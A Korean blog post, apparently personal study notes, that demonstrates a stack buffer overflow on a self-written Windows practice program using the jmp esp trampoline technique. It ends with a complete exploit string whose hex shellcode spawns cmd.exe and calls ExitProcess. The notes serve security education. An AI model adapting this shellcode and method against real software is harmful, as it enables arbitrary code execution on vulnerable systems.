윈도우 CLI 환경에서 컴파일 명령
type 명령
cl BOF2.cpp /link /debug /opt:ref,icf
오버플로 되기 이전 스택구조
오버플로우 적용이후
EIP가 변경되었다.
트램플린 테크닉
alt + e : 메모리 라이브러리 확인
Kernel32 , ntdll은 항상 동일한 위치에 로드됨
Kernel32 : 7c800000
ntdll : 7c93000
라이브러리 안에서 jmp esp코드를 찾는다.
ctrl + f find command
jmp esp를 찾는다.
7c86467b : jmp esp
"aaaaaaaa\x7b\x46\x86\x7c\x55"
\x55는 push ebp 이다 .
버퍼에 cmd창을 띄우는 공격코드를 삽입하고 BOF를 이용하여 리턴주소 변경, cmd창을 띄우는 시나리오
cmd창을 띄우는 인라인 어셈코드
컴파일하여 올리디버거로 확인
binary copy기능을 이용하여 shellcode 작성
위와 같은 방식으로 입력하면 됨
하지만 에러가 뜬다.
기존 코드를 실행시켜보면 다음 실행할 명령이 없기 때문에 오류창이 뜨게 된다.
오류창을 없애고 정상실행을 하려면 ExitProcess를 이용하여 프로세스를 종료해주어야 한다.
올리디버거로 ExitProcess(0)의 시작주소를 찾기 위해 코드를 작성한다.
ExitProcess어셈코드 확인
ExitProcess(0)의 시작주소 확인
시작 주소 7c81cafa
공격코드
abcdefgh\x7b\x46\x86\x7c\x55\x8B\xEC\x83\xEC\x08\x36\xC7\x45\xF8\x63\x6D\x64\x2E \x36\xC7\x45\xFC\x65\x78\x65\x00\x6A\x05\x36\x8D\x45\xF8\x50\xB8\xAD\x23\x86\x7C\xFF\xD0\x6A\x00\xB8\xFA\xCA\x81\x7C\xFF\xD0\x8B\xE5\x5D
오류창이 뜨지 않고 정상 실행되는 것을 확인 할 수 있다.
'정보보안 > Reversing' 카테고리의 다른 글
Buffer Over Flow Stack 구조 (344) | 2020.08.05 |
---|---|
Keygenning4newbies 알고리즘 분석, 프로래밍 (325) | 2020.08.05 |
Keygenning4newbies CrackMe Keygen 프로그래밍 (319) | 2020.08.05 |
CrackMe 4번 문제 암호화 알고리즘 분석 (371) | 2020.08.05 |
함수호출규약, Win API (320) | 2020.08.05 |